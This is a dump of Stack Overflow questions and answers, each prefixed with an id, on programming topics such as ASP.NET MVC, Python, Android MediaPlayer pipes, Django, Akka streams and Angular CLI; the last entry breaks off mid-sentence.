21305099	0	 <p>If you don't really care about the <code>IList&lt;T&gt;</code>, you can change your model to <code>IEnumerable&lt;T&gt;</code>. <a href="http://msdn.microsoft.com/en-us/library/hh833697%28v=vs.118%29.aspx" rel="nofollow">DisplayNameFor</a> method has an overload for <code>IEnumerable</code>, that means you will be able to do this:</p> <pre><code>@model IEnumerable&lt;PlusPlatform.Models.UserProfile&gt; ... &lt;th&gt; @Html.DisplayNameFor(model =&gt; model.UserName) &lt;/th&gt; </code></pre> <p><code>LabelFor</code> doesn't have this overload, because <code>label</code> should be used for a specific element, such as:</p> <pre><code>@Html.LabelFor(modelItem =&gt; Model[i].UserName) </code></pre> <p><strong>EDIT:</strong></p> <p>If you wan to post that data to controller, better create an <code>EditorTemplate</code>, name it <code>UserProfile</code>:</p> <pre><code>@model PlusPlatform.Models.UserProfile &lt;tr&gt; &lt;td&gt; @Html.EditorFor(m=&gt; m.UserName) &lt;/td&gt; &lt;td&gt; @Html.EditorFor(m=&gt; m.FirstName) &lt;/td&gt; &lt;td&gt; @Html.EditorFor(m=&gt; m.LastName) &lt;/td&gt; &lt;td&gt; @Html.EditorFor(m=&gt; m.DepartmentId) &lt;/td&gt; &lt;td&gt; @Html.EditorFor(m=&gt; m.IsActivated) &lt;/td&gt; &lt;/tr&gt; </code></pre> <p>Then in the View get rid of the loop:</p> <pre><code>@model IEnumerable&lt;PlusPlatform.Models.UserProfile&gt; @using (Html.BeginForm()) { &lt;table&gt; &lt;tr&gt; &lt;th&gt; @Html.DisplayNameFor(model =&gt; model.UserName) &lt;/th&gt; ... &lt;/tr&gt; @Html.EditorForModel() &lt;/table&gt; } </code></pre>
30850931	0	 <p>You can't append to a <code>tuple</code> at all (<code>tuple</code>s are <em>immutable</em>), and extending to a <code>list</code> with <code>+</code> requires another list.</p> <p>Make <code>curveList</code> a <code>list</code> by declaring it with:</p> <pre><code>curveList = [] </code></pre> <p>and use:</p> <pre><code>curveList.append(curve) </code></pre> <p>to add an element to the end of it. Or (less good because of the intermediate <code>list</code> object created):</p> <pre><code>curveList += [curve] </code></pre>
15185127	0	Cmake generates incorrect configurations <p>I use CMake, and on one of my machines, the generation seems to be messy. When I open the project properties in Visual Studio 2010, the debug configuration seems to be a release one: <code>_DEBUG</code> is not defined, optimizations are enabled, the linked runtime is the release one (<code>/MT</code> and not <code>/MTd</code>), etc...</p> <p>The problem is that it prevent correct build of project depending on dlls compiled using CMake... for example if some parts of the dll are only present in a debug build. I am using CMake 2.8.10.2.</p>
37892431	0	 <p>The short answer is: you use a generational garbage collector. </p> <p>Except that most modern Java implementations<sup>1</sup> use a generational collector <em>by default</em>. In other words, you (the programmer) don't need to deal with the problem because it is already dealt with.</p> <p>The only situation where you might run into fragmentation is if you have mis-tuned the low-pause collector and it has fallen back to doing a "stop the world" full collection. At that point, you might be using a non-compacting collector, and fragmentation might ensue. But the solution there is to adjust the tuning (or the application, or the heap size) to avoid getting into that situation.</p> <hr> <p><sup>1 - Some really old Java implementations used primitive mark-sweep collectors. But they are long gone.</sup></p>
35508423	0	 <h3>Step 1 : the target datastructure :</h3> <p>There are two issues with your data structure :</p> <ul> <li><p>You're forgetting to put the names between quotes. <code>John</code> should be <code>"John"</code>. <code>Mary</code> should be <code>"Mary"</code>. etc.</p></li> <li><p>You're trying to use an object for <code>[ "John", "Mary" ]</code> and <code>[ "Paul", "Peter" ]</code>, where you should be using an array.</p></li> </ul> <p>So, the data structure you're looking for, is this :</p> <pre><code>{ 31 : [ "John", "Mary" ], 24 : [ "Paul", "Peter" ] } </code></pre> <hr> <h3>Step 2 : fetching the data from the HTML input :</h3> <p>I suggest you make this small adjustment to your JavaScript code :</p> <pre><code>var source = []; $('span.members a').each(function () { $.ajax({ url: $(this).attr('href'), success: function (result) { source.push({ name : $(result).find('tr td:contains("Username:")').next().text().trim(), age : $(result).find('tr td:contains("Age:")').next().text().trim() }); } }); }); </code></pre> <p>(see also <a href="https://jsfiddle.net/9pwr64ga/2/" rel="nofollow"><strong>this Fiddle</strong></a>)</p> <p>This fetches the data from your HTML input and puts it into a data structure that looks like this :</p> <pre><code>var source = [{ name : "Paul", age : 24 }, { name : "Mary", age : 31 }, { name : "Peter", age : 24 }, { name : "John", age : 31 }]; </code></pre> <hr> <h3>Step 3 : converting to the right data structure :</h3> <p>Once you fetched all the data, you only need to convert your data from the source data structure to the target data structure, which is as simple as this :</p> <pre><code>var convert = function(source) { var output = {}; for(var i = 0; i &lt; source.length; i++) { if(output[source[i].age]) { output[source[i].age].push(source[i].name); } else { output[source[i].age] = [source[i].name]; } } return output; } </code></pre> <p>(see also <a href="https://jsfiddle.net/geyyjj8s/" rel="nofollow"><strong>this Fiddle</strong></a>)</p> <hr> <h3>Putting the pieces of the puzzle together :</h3> <p>You have to wait with executing your <code>convert</code> function until all of your Ajax calls have finished.</p> <p>For example, you could do something like ...</p> <pre><code>if (source.length === numberOfMembers) { target = convert(source); } </code></pre> <p>... right behind the <code>source.push(...)</code> statement.</p> <p>So if you put all the pieces of the puzzle together, you should get something like this :</p> <pre><code>var source = []; var target; var $members = $('span.members a'); var numberOfMembers = $members.size(); var convert = function(source) { var output = {}; for(var i = 0; i &lt; source.length; i++) { if(output[source[i].age]) { output[source[i].age].push(source[i].name); } else { output[source[i].age] = [source[i].name]; } } return output; } $members.each(function () { $.ajax({ url: $(this).attr('href'), success: function (result) { source.push({ name : $(result).find('tr td:contains("Username:")').next().text().trim(), age : $(result).find('tr td:contains("Age:")').next().text().trim() }); if (source.length === numberOfMembers) { target = convert(source); } } }); }); </code></pre>
36916053	0	How do I obtain values of a curve f(x1,x2) = 0 in R to visualize it? <p>I have <code>ggplot</code> scatters of points and I'm trying to visualize the different decision boundaries i get with <code>glm</code>. I can grab the coefficients from <code>glm</code> and I end up with something like <code>f(x1,x2) = 0</code> which could have power interactions so I can't just try <code>abline</code>. What's the simplest way to visualize it on the scatter? I was thinking if there's a "solver" maybe which will return a frame of points on a grid that I can then <code>geom_line</code> maybe?</p>
15252037	0	 <p>Do not extend Activity class in AppPreferences. and remove the <code>onCreate()</code> method.</p> <p>Do like this way.</p> <pre><code>public class AppPreferences extends Activity { private SharedPreferences settings = null; AppPreferences(Context context) { settings = context.getSharedPreferences(LOGIN_CREDENTIALS, MODE_PRIVATE); } ...//Rest of your code. } </code></pre> <p>In Login activity.</p> <pre><code>appPreferences = new AppPreferences(this); </code></pre>
776966	0	 <p>PersonView is generated by the DataTemplate for the ItemsControl in CommunityView (CommunityView.xaml:16). </p> <p>DataTemplates automatically assign the DataContext of their visuals to the data that the template is displaying. This is how WPF works.</p> <p>CommunityView gets its DataContext set by inheritence from the Window.</p> <p>The attached command sink property sets the instance CommandSink property on all of the CommandSinkBinding objects contained within the CommandBindings property of the object with the attached property assignment. So in CommunityView.xaml, the CommandSink of all of the CommandSinkBindings in CommunityView (KillAll) are set to the DataContext of the view through binding.</p> <p>The CommandSink property is used to call the Execute and CanExecute functions on the proper target (the ViewModel in this case).</p>
8187781	0	 <p>The Code 39 specification defines 43 characters, consisting of uppercase letters (A through Z), numeric digits (0 through 9) and a number of special characters (-, ., $, /, +, %, and space). An additional character (denoted '*') is used for both start and stop delimiters. Each character is composed of nine elements: five bars and four spaces. Three of the nine elements in each character are wide (binary value 1), and six elements are narrow (binary value 0). The width ratio between narrow and wide can be chosen between 1:2 and 1:3.</p>
23369426	0	 <p>Change</p> <pre><code>from OpenGL import * </code></pre> <p>to</p> <pre><code>from OpenGL.GL import * </code></pre> <p>However, I favor using this format:</p> <pre><code>import OpenGL.GL as GL import OpenGL.GLU as GLU import OpenGL.GLUT as GLUT window = 0 width, height = 500,400 def draw(): GL.glClear(GL.GL_COLOR_BUFFER_BIT |GL.GL_DEPTH_BUFFER_BIT) GL.glLoadIdentity() GLUT.glutSwapBuffers() #initialization GLUT.glutInit() GLUT.glutInitDisplayMode(GLUT.GLUT_RGBA | GLUT.GLUT_DOUBLE | GLUT.GLUT_ALPHA | GLUT.GLUT_DEPTH) GLUT.glutInitWindowSize(width,height) GLUT.glutInitWindowPosition(0,0) window = GLUT.glutCreateWindow(b"noobtute") GLUT.glutDisplayFunc(draw) GLUT.glutIdleFunc(draw) GLUT.glutMainLoop() </code></pre> <p>While not as compact, it helps me keep straight who's doing what. </p>
35271814	0	 <p>Here is a pure CSS solution I quickly hacked up: <a href="http://codepen.io/nikrich/pen/yeQYGE" rel="nofollow">CSS Hover Effect</a></p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>h1, h2, h3, h4, h5{ margin:0px; } .tile{ overflow: hidden; width: 400px; height:350px; } .tile:hover &gt; .body{ transition: all 0.5s ease; top: -3em; } .body{ transition: all 0.5s ease; background-color: #333; margin:0px; color: #fafafa; padding: 1em; position:relative; top: -1em; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class="tile"&gt; &lt;img src="http://lorempixel.com/400/300"&gt; &lt;div class="body"&gt; &lt;h2&gt;Test Header&lt;/h2&gt; &lt;p&gt;Info to display&lt;/p&gt; &lt;/div&gt; &lt;/div&gt;</code></pre> </div> </div> </p> <p>Basically, I just change the position of the text div when I hover over the main div and add a transition animation to it.</p>
25096495	0	 <p>I did not know about an funktion like you ask for. But maybe you know a time for timeout. So you could use the connection timeout: <a href="http://docs.spring.io/spring/docs/3.0.x/javadoc-api/org/springframework/web/client/RestTemplate.html#RestTemplate(org.springframework.http.client.ClientHttpRequestFactory)" rel="nofollow">RestTemplate Constructor</a></p> <pre><code>int timeOutMillis = 5000;//example 5 seconds ClientHttpRequestFactory requestFactory; if (Build.VERSION.SDK_INT &gt;= Build.VERSION_CODES.GINGERBREAD) { requestFactory = new SimpleClientHttpRequestFactory(); ((SimpleClientHttpRequestFactory) requestFactory).setConnectTimeout(timeOutMillis); } else { requestFactory = new HttpComponentsClientHttpRequestFactory(); ((HttpComponentsClientHttpRequestFactory) requestFactory).setConnectTimeout(timeOutMillis); } RestTemplate restTemplate = new RestTemplate(requestFactory); </code></pre> <p>Alternativ you could create an AsyncTask and kill it :)</p> <pre><code>AsyncTask&lt;Void, Void, Void&gt; task = new AsyncTask&lt;Void, Void, Void&gt;() { @Override protected Void doInBackground(Void... params) { RestTemplate restTemplate = new RestTemplate(); restTemplate.delete("http://example.com"); return null; } }.execute(); //Task run task.cancel(true); //Cancel task and so the request </code></pre> <p>Hope that would be enough, sorry, but nothing else found in Spring Docs...</p>
27737330	0	 <pre><code>AppDomain.CurrentDomain.SetData("DataDirectory", Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location)); </code></pre> <p>This should work always because Directory.GetCurrentDirectory() may return other directory than the executable one</p>
10235309	0	 <p>If you only want to work with the vision part then AForge.net is your best bet. I have used it in the past and it was pretty good for video/feed stuff. Don't expect to do something with your audio later on though since AForge.NET only supports Vision related stuff. Personally I wouldn't use DirectShow since that is pretty old and sometimes requires you to do some complex interop tricks to get what you want. If you want to go the DirectShow way at least use DirectShow.NET. </p>
6181671	0	 <p>This is the sort of thing that, in general, you can't override. You can try using <a href="http://msdn.microsoft.com/en-us/library/aa768268%28v=vs.85%29.aspx" rel="nofollow">ShowBrowserBar</a>, but if it doesn't work you will have to reconsider your design. </p>
39183961	0	 <p>Well you have tried but having no solution please try this</p> <pre><code>RewriteEngine on RewriteRule ([a-zA-Z]+)/([0-9]+)$ index.php?name=$1&amp;pg=$2 [NC,L] </code></pre> <p>Put this .htaccess in category directory</p>
12619745	0	 <p>It's a bit of a mystery, isn't it? Several superficially plausible theories turn out to be wrong on investigation:</p> <ol> <li><p>So that the <code>POST</code> object doesn't have to implement mutation methods? No: the <code>POST</code> object belongs to the <a href="https://github.com/django/django/blob/master/django/http/__init__.py#L371"><code>django.http.QueryDict</code> class</a>, which implements a full set of mutation methods including <code>__setitem__</code>, <code>__delitem__</code>, <code>pop</code> and <code>clear</code>. It implements immutability by checking a flag when you call one of the mutation methods. And when you call the <code>copy</code> method you get another <code>QueryDict</code> instance with the mutable flag turned on.</p></li> <li><p>For performance improvement? No: the <code>QueryDict</code> class gains no performance benefit when the mutable flag is turned off.</p></li> <li><p>So that the <code>POST</code> object can be used as a dictionary key? No: <code>QueryDict</code> objects are not hashable.</p></li> <li><p>So that the <code>POST</code> data can be built lazily (without committing to read the whole response), <a href="http://stackoverflow.com/questions/2339857/why-is-post-data-copied-in-django#comment2312894_2339963">as claimed here</a>? I see no evidence of this in the code: as far as I can tell, the whole of the response is always read, either <a href="https://github.com/django/django/blob/master/django/http/__init__.py#L296">directly</a>, or via <a href="https://github.com/django/django/blob/master/django/http/multipartparser.py#L35"><code>MultiPartParser</code></a> for <code>multipart</code> responses.</p></li> <li><p>To protect you against programming errors? I've seen this claimed, but I've never seen a good explanation of what these errors are, and how immutability protects you against them.</p></li> </ol> <p>In any case, <code>POST</code> is <em>not always immutable</em>: when the response is <code>multipart</code>, then <code>POST</code> is mutable. This seems to put the kibosh on most theories you might think of. (Unless this behaviour is an oversight.)</p> <p>In summary, <strong>I can see no clear rationale</strong> in Django for the <code>POST</code> object to be immutable for non-<code>multipart</code> requests.</p>
26699669	0	What will get removed if i remove a pointer in c++ <p>If I remove a pointer to an object, what will be removed? Only the pointer or also the object which the pointer points to? For example:</p> <p>Assume I have a class with a variable</p> <pre><code>int *root </code></pre> <p>If I do the following in a method of that class</p> <pre><code>int *current = root; delete current; </code></pre> <p>Will root also be deleted or only the pointer current?</p>
10056284	0	 <p>I would suggest using MVC Display/EditorTemplates rather than a helper in this context. With templates you get automatic collection support, and you can use a strongly typed model.</p> <p><a href="https://web.archive.org/web/20151112171922/http://blogs.msdn.com/b/nunos/archive/2010/02/08/quick-tips-about-asp-net-mvc-ui-helpers-and-templates.aspx" rel="nofollow">https://web.archive.org/web/20151112171922/http://blogs.msdn.com/b/nunos/archive/2010/02/08/quick-tips-about-asp-net-mvc-ui-helpers-and-templates.aspx</a></p> <p><a href="https://web.archive.org/web/20150908050041/http://blogs.msdn.com/b/nunos/archive/2010/02/08/quick-tips-about-asp-net-mvc-editor-templates.aspx" rel="nofollow">https://web.archive.org/web/20150908050041/http://blogs.msdn.com/b/nunos/archive/2010/02/08/quick-tips-about-asp-net-mvc-editor-templates.aspx</a></p>
10874666	0	 <p><code>preg_replace("|[^abcdef]|", '')</code>? (where abcdef are the characters to allow)</p>
1732216	0	 <p>There are free tools available to look at the managed heap in .Net, using the <a href="http://www.stevestechspot.com/SOSEXANewDebuggingExtensionForManagedCode.aspx" rel="nofollow noreferrer">SOSEX</a> extensions to <a href="http://www.microsoft.com/whdc/devtools/debugging/default.mspx" rel="nofollow noreferrer">WinDBG</a> and <a href="http://msdn.microsoft.com/en-gb/magazine/cc164138.aspx" rel="nofollow noreferrer">SOS</a>, it is possible to run a program, pause it, then look at which objects exist on the stack and (more importantly) which other objects are holding references to them (roots) which will be preventing the the GC from collecting them.</p>
33084184	0	 <p>You didn't provide example output or what it's used for but what I'd normally do is create a simple value object. We can also leverage Ruby's <code>Date</code> and <code>Range</code> objects to do most of the heavy lifting.</p> <pre class="lang-rb prettyprint-override"><code>require 'date' class DateRange def self.import dates dates.map do |d| self.new Date.parse(d[:start_date]), Date.parse(d[:end_date]) end end def initialize start, finish @range = Range.new start, finish end def month Date::MONTHNAMES[start.month] end def mon month[0..2] end def include? date @range.include? date end def start @range.begin end def finish @range.end end def to_s "#&lt;#{self.class.name} #{start.iso8601}..#{finish.iso8601}&gt;" end end </code></pre> <p>We use <code>start</code> and <code>finish</code> because <code>begin</code> and <code>end</code> are reserved words in Ruby, <code>Range</code> can use them because it is implemented in C. We could delegate to the Range object or use the Range object directly, but this value object lets us expose only the interface we want.</p> <p>I exposed the <code>include?</code> method which can be used to check if a given date is between the start and finish points, since that's the sort of thing people like to do with date ranges.</p> <p>Also, we use the <code>MONTHNAMES</code> constant defined on <code>Date</code> to give us the month name, or the short_month name, which is just the first 3 letters of the month, if you're into that.</p> <p>This code can be used as a starting point for any value object in a system, remove the stuff you don't need, add stuff you want.</p> <p>Additionally, I've included an <code>import</code> method on the class which will read in your <code>@dates</code> array and return a collection of <code>DateRange</code> objects.</p> <hr> <p><strong>References</strong></p> <ul> <li><a href="https://stackoverflow.com/questions/4844253/name-of-this-month-date-today-month-as-name">Name of this month (Date.today.month as name)</a></li> <li><a href="http://ruby-doc.org/core-2.2.0/Range.html" rel="nofollow">http://ruby-doc.org/core-2.2.0/Range.html</a></li> <li><a href="http://ruby-doc.org/stdlib-2.2.3/libdoc/date/rdoc/Date.html" rel="nofollow">http://ruby-doc.org/stdlib-2.2.3/libdoc/date/rdoc/Date.html</a></li> </ul>
11772716	0	 <pre><code>var img = new Image (); img.onload = function () { $('body').css('background','url(image.png)'); }; img.src = src; </code></pre>
19683021	0	 <p>The turbolinks gem caused the problem.</p> <p>Solved by following these tips here: <a href="http://reed.github.io/turbolinks-compatibility/twitter.html" rel="nofollow">http://reed.github.io/turbolinks-compatibility/twitter.html</a></p> <p><a href="http://reed.github.io/turbolinks-compatibility/facebook.html" rel="nofollow">http://reed.github.io/turbolinks-compatibility/facebook.html</a></p>
3225534	0	Where do I start with reporting services in SQL Server 2008 R2 <p>I have installed Visual Web Developer Express 2010, and SQL Server 2008 R2 Express with advanced services.</p> <p>How can I write reports to use with reporting services?</p> <p>Do I need to install Visual Studio C# Express 2010 for instance?</p> <p>Thanks.</p>
30274264	0	 <p>To prevent ctrl + x (Cut) from div you need to use following JQuery :</p> <pre><code>if (event.ctrlKey &amp;&amp; event.keyCode === 88) { return false; } </code></pre> <p>It will prevent to cut text from div.</p> <p>Check <a href="http://jsfiddle.net/wfae8hzv/20/" rel="nofollow">Fiddle Here.</a></p>
26616859	0	 <blockquote> <p>so my question is, can I directly edit the string resources from the xml file?</p> </blockquote> <p>No, you can't change <code>resources</code> at runtime. But your code seems kind of goofy. This is all going to run when the <code>Activity</code> starts up. So, you can check the message then just set it in your <code>TextView</code> of the layout.</p> <pre><code>protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_display_message); TextView textView (textView) findViewById(R.id.textView); Intent intent = getIntent(); String message = intent.getStringExtra(MyActivity.EXTRA_MESSAGE); textView.setText(message); } </code></pre> <p>simply create a <code>TextView</code> inside of <code>activity_display_message.xml</code> (here called <code>textView</code>) then set the text with the <code>message</code> variable.</p> <p>Also, it is often a good idea to do some error checking such as </p> <pre><code>if (intent !== null &amp;&amp; intent.getStringExtra(MyActivity.EXTRA_MESSAGE != null) { // do your stuff here } </code></pre> <p>or however you want to go about that.</p> <h2> Storing...</h2> <p>You could store that value in a persistent value such as <code>SharedPreferences</code>, a file, db, etc... if you are wanting to use it later.</p> <p>You can read more about that <a href="http://developer.android.com/guide/topics/data/data-storage.html" rel="nofollow">here in the docs</a></p>
34711569	0	node.js: Is it possible to pass jQuery code in server-side html response? <pre><code>var server = http.createServer(function (req, res) { if (req.method.toLowerCase() == 'get') { displayForm(res); } else if (req.method.toLowerCase() == 'post') { //processAllFieldsOfTheForm(req, res); processFormFieldsIndividual(req, res); } }); function displayForm(res) { fs.readFile('form.html', function (err, data) { res.writeHead(200, { 'Content-Type': 'text/html', 'Content-Length': data.length }); res.write(data); res.end(); }); } </code></pre> <p>I am following <a href="http://www.sitepoint.com/creating-and-handling-forms-in-node-js/" rel="nofollow">this</a> example, where form.html contains only html blocks.<br /><br /> My question is, can't jQuery/javaScript code be merged with form.html in server response? <br /><br />I have tried both external and internal js code but to no avail. </p>
8963180	0	 <p>You may be able to parse it from the <code>__FILE__</code> <a href="http://php.net/manual/en/language.constants.predefined.php">magic constant</a>. I don't have any Windows computer, but I guess it will be the first character. So this may work:</p> <pre><code>$drive = substr(__FILE__, 0, 1); </code></pre>
12920429	0	Anyone Have MediaPlayer Working with ParcelFileDescriptor and createPipe()? <p>Related to <a href="http://stackoverflow.com/questions/12894976/anyone-have-mediarecorder-working-with-parcelfiledescriptor-and-createpipe">my recent question on <code>MediaRecorder</code> and <code>createPipe()</code></a>, and a discussion of the <code>createPipe()</code> technique in <a href="http://stackoverflow.com/questions/12863731/open-a-file-from-archive-without-temporary-extraction/12863890">this other SO question</a>, I am now trying to get <code>MediaPlayer</code> to work with content served by a <code>ContentProvider</code> via <code>ParcelFileDescriptor</code> and <code>createPipe()</code>.</p> <p><a href="https://github.com/commonsguy/cw-omnibus/tree/master/Media/AudioPlayStream">This sample project</a> has my work to date. It is based off of <a href="https://github.com/commonsguy/cw-omnibus/tree/master/Media/Audio">an earlier sample that plays an OGG clip stored as a raw resource</a>. Hence, I know that my clip is fine.</p> <p>I have changed my <code>MediaPlayer</code> setup to:</p> <pre><code> private void loadClip() { try { mp=new MediaPlayer(); mp.setDataSource(this, PipeProvider.CONTENT_URI.buildUpon() .appendPath("clip.ogg") .build()); mp.setOnCompletionListener(this); mp.prepare(); } catch (Exception e) { goBlooey(e); } } </code></pre> <p>Through logging in <code>PipeProvider</code>, I see that my <code>Uri</code> is being properly constructed.</p> <p><code>PipeProvider</code> is the same one as in <a href="https://github.com/commonsguy/cw-omnibus/tree/master/ContentProvider/Pipe">this sample project</a>, which works for serving PDFs to Adobe Reader, which limits how screwed up my code can be. :-)</p> <p>Specifically, <code>openFile()</code> creates a pipe from <code>ParcelFileDescriptor</code>:</p> <pre><code> @Override public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException { ParcelFileDescriptor[] pipe=null; try { pipe=ParcelFileDescriptor.createPipe(); AssetManager assets=getContext().getResources().getAssets(); new TransferTask(assets.open(uri.getLastPathSegment()), new AutoCloseOutputStream(pipe[1])).start(); } catch (IOException e) { Log.e(getClass().getSimpleName(), "Exception opening pipe", e); throw new FileNotFoundException("Could not open pipe for: " + uri.toString()); } return(pipe[0]); } </code></pre> <p>where the background thread does a typical stream-to-stream copy:</p> <pre><code> static class TransferTask extends Thread { InputStream in; OutputStream out; TransferTask(InputStream in, OutputStream out) { this.in=in; this.out=out; } @Override public void run() { byte[] buf=new byte[1024]; int len; try { while ((len=in.read(buf)) &gt; 0) { out.write(buf, 0, len); } in.close(); out.close(); } catch (IOException e) { Log.e(getClass().getSimpleName(), "Exception transferring file", e); } } } </code></pre> <p>However, <code>MediaPlayer</code> chokes:</p> <pre><code>10-16 13:33:13.203: E/MediaPlayer(3060): Unable to to create media player 10-16 13:33:13.203: D/MediaPlayer(3060): Couldn't open file on client side, trying server side 10-16 13:33:13.207: E/TransferTask(3060): Exception transferring file 10-16 13:33:13.207: E/TransferTask(3060): java.io.IOException: write failed: EPIPE (Broken pipe) 10-16 13:33:13.207: E/TransferTask(3060): at libcore.io.IoBridge.write(IoBridge.java:462) 10-16 13:33:13.207: E/TransferTask(3060): at java.io.FileOutputStream.write(FileOutputStream.java:187) 10-16 13:33:13.207: E/TransferTask(3060): at com.commonsware.android.audiolstream.PipeProvider$TransferTask.run(PipeProvider.java:120) 10-16 13:33:13.207: E/TransferTask(3060): Caused by: libcore.io.ErrnoException: write failed: EPIPE (Broken pipe) 10-16 13:33:13.207: E/TransferTask(3060): at libcore.io.Posix.writeBytes(Native Method) 10-16 13:33:13.207: E/TransferTask(3060): at libcore.io.Posix.write(Posix.java:178) 10-16 13:33:13.207: E/TransferTask(3060): at libcore.io.BlockGuardOs.write(BlockGuardOs.java:191) 10-16 13:33:13.207: E/TransferTask(3060): at libcore.io.IoBridge.write(IoBridge.java:457) 10-16 13:33:13.207: E/TransferTask(3060): ... 2 more 10-16 13:33:13.211: E/MediaPlayer(3060): Unable to to create media player 10-16 13:33:13.218: E/TransferTask(3060): Exception transferring file 10-16 13:33:13.218: E/TransferTask(3060): java.io.IOException: write failed: EPIPE (Broken pipe) 10-16 13:33:13.218: E/TransferTask(3060): at libcore.io.IoBridge.write(IoBridge.java:462) 10-16 13:33:13.218: E/TransferTask(3060): at java.io.FileOutputStream.write(FileOutputStream.java:187) 10-16 13:33:13.218: E/TransferTask(3060): at com.commonsware.android.audiolstream.PipeProvider$TransferTask.run(PipeProvider.java:120) 10-16 13:33:13.218: E/TransferTask(3060): Caused by: libcore.io.ErrnoException: write failed: EPIPE (Broken pipe) 10-16 13:33:13.218: E/TransferTask(3060): at libcore.io.Posix.writeBytes(Native Method) 10-16 13:33:13.218: E/TransferTask(3060): at libcore.io.Posix.write(Posix.java:178) 10-16 13:33:13.218: E/TransferTask(3060): at libcore.io.BlockGuardOs.write(BlockGuardOs.java:191) 10-16 13:33:13.218: E/TransferTask(3060): at libcore.io.IoBridge.write(IoBridge.java:457) 10-16 13:33:13.218: E/TransferTask(3060): ... 2 more </code></pre> <p>Has anyone seen working code for using <code>createPipe()</code> to serve media to <code>MediaPlayer</code>?</p> <p>Thanks in advance!</p>
7346621	0	 <p>No, it is not a good practice for large applications, especially not if your static variables are mutable, as they are then effectively global variables, a code smell which Object Oriented Programming was supposed to "solve".</p> <p>At the very least start by grouping your methods into smaller classes with associated functionality - the Util name indicates nothing about the purpose of your methods and smells of an incoherent class in itself.</p> <p>Second, you should always consider if a method is better implemented as a (non-static) method on the same object where the data that is passed as argument(s) to the method lives.</p> <p>Finally, if your application is quite large and/or complex, you can consider solutions such as an Inversion of Control container, which can reduce the dependency on global state. However, ASP.Net webforms is notoriously hard to integrate into such an environment, as the framework is very tightly coupled in itself.</p>
3653698	0	 <p>I kept this project as a bookmark a while ago : <a href="http://code.google.com/p/gaedjango-ratelimitcache/" rel="nofollow noreferrer">http://code.google.com/p/gaedjango-ratelimitcache/</a></p> <p>Not really an answer to your specific question but maybe it could help you get started.</p>
38733233	0	How to wait broadcast results with akka-stream? <p>I tried akka-stream 2.4.8 with the following sample code:</p> <pre><code>import scala.concurrent._ import scala.concurrent.duration._ import akka.actor.ActorSystem import akka.stream._ import akka.stream.scaladsl._ class AkkaStreamSample01 { def doit = { implicit val actorSystem = ActorSystem("AkkaStreamSample00") implicit val materializer = ActorMaterializer( ActorMaterializerSettings(actorSystem).withDebugLogging(true).withSupervisionStrategy { ex: Throwable =&gt; println(s"ex: ${ex.getClass}"); Supervision.Stop // ; throw ex } ) try { val source = Source.single( 123L ) val ff01 = Flow[Long].map { x =&gt; println(s"begin: heavy: ff01 with arg = $x") (Seq.empty[String] /: ("+" * 1234 * 9999)) { (seq, x) =&gt; x.toString +: seq } // val ss: String = null; ss.size println(s"end: heavy: ff01 with arg = $x") x }.async val ff02 = Flow[Long].map { x =&gt; println(s"begin: light: ff02 with arg = $x") (Seq.empty[String] /: ("+" * 11 * 11)) { (seq, x) =&gt; x.toString +: seq } println(s"end: light: ff02 with arg = $x") x }.async val ff03 = Flow[Long].map { x =&gt; println(s"begin: heavy: ff03 with arg = $x") (Seq.empty[String] /: ("+" * 1111 * 9999)) { (seq, x) =&gt; x.toString +: seq } println(s"end: heavy: ff03 with arg = $x") x }.async val sink = Sink.seq[Long] val g = RunnableGraph.fromGraph(GraphDSL.create(sink) { implicit builder =&gt; sinkkk =&gt; import GraphDSL.Implicits._ val bro = builder.add(Broadcast[Long](3)) val merge = builder.add(Merge[Long](3)) source ~&gt; bro.in bro.out(0) ~&gt; ff01 ~&gt; merge bro.out(1) ~&gt; ff02 ~&gt; merge bro.out(2) ~&gt; ff03 ~&gt; merge merge.out ~&gt; sinkkk // Sink.seq[Long] ClosedShape }) println(s"... begin ... $getClass") Await.result(g.run, 30.seconds) println(s"... end ...") // hope to print out after completion } finally { println("terminating") actorSystem.terminate } // TimeUnit.SECONDS.sleep(10) } } </code></pre> <p>output:</p> <pre><code>... begin ... begin: heavy: ff01 with arg = 123 begin: heavy: ff03 with arg = 123 begin: light: ff02 with arg = 123 end: light: ff02 with arg = 123 ... end ... terminating end: heavy: ff03 with arg = 123 end: heavy: ff01 with arg = 123 </code></pre> <p>How to wait broadcast results? I hope the following output:</p> <pre><code>... begin ... begin: heavy: ff01 with arg = 123 begin: heavy: ff03 with arg = 123 begin: light: ff02 with arg = 123 end: light: ff02 with arg = 123 end: heavy: ff03 with arg = 123 end: heavy: ff01 with arg = 123 ... end ... terminating </code></pre> <p>thanks.</p> <hr> <p>[entry point] object Boot extends App { new AkkaStreamSample01().doit }</p> <p>[java -version] java version "1.8.0_102"</p> <p>[build.sbt]</p> <pre><code>name := "sbt-akka-streams-sample" scalaVersion := "2.11.8" libraryDependencies ++= Seq( // "com.typesafe.akka" % "akka-stream_2.11" % "2.4.4" "com.typesafe.akka" % "akka-stream_2.11" % "2.4.8" ) </code></pre>
39278406	0	Where do webpack assets go in an Angular 2 CLI project <p>Where should I place general, cross-component <code>.css</code>, <code>.scss</code>, <code>.svg</code>, <code>.gif</code>, etc. assets (e.g., theme resources) in an Angular CLI (webpack) project so both the development and production versions of my application work correctly without changes?</p> <p>When I generate a new <code>foo</code> project with <a href="https://cli.angular.io" rel="nofollow">Angular CLI</a> (<code>angular-cli: 1.0.0-beta.11-webpack.8, node: 6.5.0, os: linux x64</code>) using <code>ng new foo --styles=scss</code>, the following structure is created (with <code>node_modules</code> trimmed):</p> <pre><code>foo ├── angular-cli.json ├── config │ ├── karma.conf.js │ └── protractor.conf.js ├── e2e │ ├── app.e2e-spec.ts │ ├── app.po.ts │ └── tsconfig.json ├── node_modules ├── package.json ├── public ├── README.md ├── src │ ├── app │ │ ├── app.component.css │ │ ├── app.component.html │ │ ├── app.component.spec.ts │ │ ├── app.component.ts │ │ ├── app.module.ts │ │ ├── environments │ │ │ ├── environment.dev.ts │ │ │ ├── environment.prod.ts │ │ │ └── environment.ts │ │ ├── index.ts │ │ └── shared │ │ └── index.ts │ ├── favicon.ico │ ├── index.html │ ├── main.ts │ ├── polyfills.ts │ ├── test.ts │ ├── tsconfig.json │ └── typings.d.ts └── tslint.json </code></pre> <p>The <code>public</code> area seems reasonable 